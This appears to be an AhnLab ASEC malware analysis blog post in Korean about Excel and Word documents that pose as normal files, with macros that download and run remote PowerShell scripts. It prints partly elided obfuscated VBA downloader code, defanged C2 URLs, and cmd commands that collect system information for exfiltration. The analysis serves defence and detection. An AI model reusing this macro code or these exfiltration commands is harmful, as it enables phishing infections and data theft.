정상 엑셀/워드 문서로 위장한 악성 코드

ASEC 분석팀은 최근 특정 유형의 악성 매크로를 포함한 문서 파일이 지속적으로 유포되고 있음을 확인하였다. 해당 유형의 악성 파일은 아래와 같이 다양한 파일명으로 유포되고 있으며, 모두 정상 파일을 위장하는 내용을 담고 있어 사용자의 주의가 필요하다.

  • 제헌절 국제학술포럼.doc
  • 제28차 남북관계전문가토론회***.doc
  • 사례비 양식.doc
  • email_20210516.xls
  • email_20210414.xls

최근 확인된 엑셀 파일의 경우 ’email_20210516.xls’과 같이 유포 날짜를 파일명에 포함하고 있으며, 아래와 같이 매크로 활성화를 유도하는 내용을 포함하고 있다. 또한, 하단에 국내 카드사의 정보를 추가하여 해당 카드사에서 발신한 것처럼 위장하였다.

엑셀 파일 내부

사용자가 콘텐츠 사용을 클릭하면 아래와 같이 메일 확인 번호 입력 창이 발생하여 해당 파일이 정상적인 문서처럼 보이도록 구성하였다. 또한, 생년월일 6자리 입력을 요구하며 실제로 6자리 숫자가 아닐 시 알림 창이 발생한다.

매크로 실행 시 화면
비밀번호 입력시 알림창

이후 사용자가 6자리의 숫자를 입력하면 파일에 숨겨진 시트로 존재하던 아래의 시트가 나타난다. 해당 시트에는 앞서 사칭한 카드사가 아닌 은행의 정보를 사용하였다.

비밀번호 입력시 화면

엑셀 파일에 존재하는 악성 매크로는 사용자가 매크로 사용을 활성화하면 자동으로 실행된다. 해당 매크로는 파워쉘 명령어로 hxxp://manstr.myartsonline.com/pc/kj.txt 에 접속하여 추가 스크립트를 받아와 실행한다.

매크로 활성화 시 프로세스 트리

위 엑셀 파일과 동일한 유형의 악성 매크로가 존재하는 워드 파일은 ‘제헌절 국제학술포럼.doc’ 로 유포되었으며, 아래와 같이 매크로 활성화를 유도하는 이미지가 포함되어 있다.

워드 파일 내부

콘텐츠 사용 클릭 시 아래와 같이 특정 내용을 담은 정상적인 문서를 보여준다.

매크로 사용시 화면

워드 파일에도 아래와 같이 위 엑셀 파일과 유사한 매크로 코드를 사용하고 있으며, 매크로 코드에서 사용하는 변수명과 형식이 동일하다. 매크로 실행시 hxxp://rukagu.mypressonline.com/le/yj.txt 에 접속하여 추가 스크립트를 받아와 실행한다.

Private Sub Workbook_Open()
Sheets(“Sheet1”).Select
Sheets(“Sheet2”).Visible = True
Sheets(“Sheet1”).Visible = False
eifhhdfasfiedf
End Sub

Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject(“Shell.Application”)
Dim dfgdfjiejfjdshaj As String
Dim yhjhfjdhfdhfuesk(10) As String
dfgdfjiejfjdshaj = “+e+z+p+e+z+o+e+z+w+e+z+e+e+z+r+e+z+s+e+z+h+e+z+e+e+z+l+e+z+l+e+z+.+e+z+e+e+z+x+e+z+e+e+z+”
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, “+e+z+”, “”)
yhjhfjdhfdhfuesk(0) = “+e+z+[+e+z+s+e+z+t+e+z+r+e+z+i+e+z+n+e+z+g+e+z+]+e+z+$+e+z+a+e+z+=+e+z+{+e+z+(+e+z+N+e+z+”
dfjdiafjlij = Replace(yhjhfjdhfdhfuesk(0), “+e+z+”, “”)
yhjhfjdhfdhfuesk(1) = “+e+z+e+e+z+w+e+z+-+e+z+O+e+z+b+e+z+j+e+z+e+e+z+c+e+z+t +e+z+N+e+z+e+e+z+t+e+z+.+e+z+W+e+z+e+e+z+b+e+z+C+e+z+l+e+z+i+e+z+”
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(1), “+e+z+”, “”)
<중략>
yhjhfjdhfdhfuesk(6) = “+e+z+l+e+z+o+e+z+a+e+z+d+e+z+S+e+z+t+e+z+r+e+z+’+e+z+)+e+z+;+e+z+$+e+z+c+e+z+=+e+z+i+e+z+e+e+z+x+e+z+ +e+z+$+e+z+b+e+z+;+e+z+i+e+z+e+e+z+x +e+z+$+e+z+c+e+z+”
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(6), “+e+z+”, “”)
djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, dfjdiafjlij, “”, “open”, 0
End Function
Private Sub Document_Open()
asfwefsadfasfsadf
asfwqfasfsdafas
sdfqefsdafsadfwqefsadf
eifhhdfasfiedf
End Sub
 <중략>
Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject(“Shell.Application”)
Dim dfgdfjiejfjdshaj As String
Dim yhjhfjdhfdhfuesk(10) As String
dfgdfjiejfjdshaj = “tuwhnptuwhnotuwhnwtuwhnetuwhnrtuwhnstuwhnhtuwhnetuwhnltuwhnltuwhn.tuwhnetuwhnxtuwhnetuwhn”
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, “tuwhn”, “”)
yhjhfjdhfdhfuesk(0) = “tuwhn[tuwhnstuwhnttuwhnrtuwhnituwhnntuwhngtuwhn]tuwhn$tuwhnatuwhn=tuwhn{tuwhn(tuwhnNtuwhnetuwhnwtuwhn-tuwhnOtuwhnbtuwhnjtuwhnetuwhnctuwhnttuwhn “
dfjdiafjlij = Replace(yhjhfjdhfdhfuesk(0), “tuwhn”, “”)
yhjhfjdhfdhfuesk(1) = “tuwhnNtuwhnetuwhnttuwhn.tuwhnWtuwhnetuwhnbtuwhnCtuwhnltuwhnituwhnetuwhnntuwhnttuwhn)tuwhn.tuwhnDtuwhnntuwhngtuwhn”
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(1), “tuwhn”, “”)
<중략>
yhjhfjdhfdhfuesk(5) = “etuwhnxtuwhn tuwhn$tuwhnbtuwhn;tuwhnituwhnetuwhnxtuwhn tuwhn$tuwhnctuwhn”
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(5), “tuwhn”, “”)
djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, dfjdiafjlij, “”, “open”, 0
End Function
엑셀 매크로 코드 / 워드 매크로 코드


엑셀 파일과 워드 파일 모두 동일한 공격자가 유포한 것으로 추정되며, 각각의 C2를 통해 받아오는 스크립트의 악성 행위는 사용자 정보 유출, 추가 스크립트 다운로드 등으로 두 파일 모두 동일하다. 아래의 그림은 사례비 양식.doc 로 유포된 파일에서 접속하는  C2 (hxxp://warms.atwebpages.com/rh/ee.txt) 에서 확인된 스크립트이다.

C2에서 확인된 스크립트

해당 스크립트에는 사용자 PC 정보 업로드, 추가 파일 다운로드 등의 기능이 존재한다. 아래 목록의 정보를 수잡하며, %APPDATA%\Ahnlab\Ahnlab.hwp 파일에 수집한 데이터를 저장 후 hxxp://warms.atwebpages.com/rh/post.php 에 업로드한다.

  • 최근문서
  • Program Files (x86) 파일 및 폴더
  • systeminfo 정보
  • tasklist 정보
생성된 로그 파일

이후 hxxp://warms.atwebpages.com/rh/ee.down 주소에서 특정 스트링을 받아와 디코딩 후 Start-Job –ScriptBlock 명령어를 통해 백그라운드로 실행한다. 또한, HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 에 Alzipupdate 명으로 레지스트리 생성을 시도하지만 데이터가 정상적으로 등록되지 않는다.

현재 다운로드 주소에 접속 불가하여 이후 행위는 확인이 불가하지만, 동일한 도메인에서 악성 스크립트가 추가 발견되었다. 아래 그림은 hxxp://warms.atwebpages.com/rh/hollow64.txt 에서 추가로 발견된 스크립트이다.

추가로 발견된 스크립트

해당 스크립트는 %windir%\SysWOW64\cmd.exe를 실행한 후 hxxp://warms.atwebpages.com/rh/baymax[숫자].txt 에서 아래 그림의 데이터를 다운로드하여 앞서 실행한 프로세스에 인젝션하여 악성행위를 수행한다.

추가로 다운로드되는 악성 데이터

cmd.exe에 인젝션된 악성 PE는 사용자가 가장 최근에 사용한 문서가 들어 있는 디렉터리 내 항목, Program Files 디렉터리 내 항목, systeminfo 정보를 %APPDATA%\Microsoft\Network\Alzip에 저장 후 wariii.mypressonline[.]com/home/jpg/downpost.php에 전송한다. 이후 hxxp://wariii.mypressonline.com/home/jpg/downdownload.php?filename=baymax[숫자] 에서 추가 악성 파일을 다운로드하여 %APPDATA%\Microsoft\Network\Alzip.dll로 저장 및 실행한다.

다운로드된 Alzip.dll 파일은 svchost.exe에 악성 PE를 인젝션하며, %APPDATA%\pagefile.sys를 생성 및 실행한다. 최종적으로 실행되는 pagefile.sys 파일은 사용자의 정보를 수집하여 메일로 전송하는 행위를 수행한다.

pagefile.sys 속성

pagefile.sys 파일 실행 시 %AppData%\OneDriver\down\hancom.dll로 자가복제 후,  SOFTWARE\\VMware, Inc.\\Vmware Tools, SYSTEM\\CurrentControlSet\\Control\\VirtualDeviceDrivers 등의 레지스트리를 확인하여 동작중인 환경에 해당 레지스트리가 존재할 경우 실행을 종료한다. 이후 cmd.exe /c taskkill /f /im daumcleaner.exe 명령을 수행하여 daumcleaner.exe 를 종료한 후 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\dropbox 에 hancom.dll을 등록한다.

생성된 레지스트리

또한, 아래의 명령어를 수행하여 수집한 정보를 %AppData%\OneDriver\out\PI_001.dat 에 저장한 후 Flower9801@hanmail[.]net 으로 전송한다.

-cmd.exe /c ipconfig/all >>”%AppData%\OneDriver\out\PI_001.dat” & arp -a >”%AppData%\OneDriver\out\PI_001.dat”
-cmd.exe /c systeminfo >>”%AppData%\OneDriver\out\PI_001.dat”
-cmd.exe /c tasklist >>”%AppData%\OneDriver\out\PI_001.dat”
실행 명령어 목록

앞서 설명한 두 파일 이외에 다른 파일명을 지닌 문서는 수집되지 않았지만 모두 동일한 매크로 코드를 사용하고 있어, 위와 같은 방식으로 악성 행위를 수행할 것으로 추정된다.

이처럼 정상적인 글의 내용을 포함하고 있는 악성 문서 파일은 과거부터 꾸준히 유포되고 있다. 해당 유형의 문서 파일들은 악성 매크로 실행 후 처음과 다른 화면을 보여주어 사용자가 악성파일임을 인지하기 어렵다. 매크로 사용을 유도하는 파일의 경우 주의가 필요하며, 출처를 알 수 없는 파일의 경우 열람을 자제해야 한다.

현재 V3에서는 해당 악성코드를 다음과 같은 진단명으로 진단하고 있다.

[파일 진단]
Downloader/DOC.Generic
Downloader/XLS.Agent
Trojan/Win.Agent.C4480883
Trojan/Win.Agent.C4408018

[IOC 정보]
1269e2b00fd323a7748215124cb058cd
811f8c88cda9e8c4f448aa6f380e5a93
e61aafd8d7065a2fa8d5a343098b98cb
0629fd238259d7df7aa22ca82ac6b93e
hxxp://warms.atwebpages.com
hxxp://rukagu.mypressonline.com
hxxp://manstr.myartsonline.com
hxxp://wariii.mypressonline.com

Categories:악성코드 정보

5 1 vote
별점 주기
guest
0 댓글
Inline Feedbacks
View all comments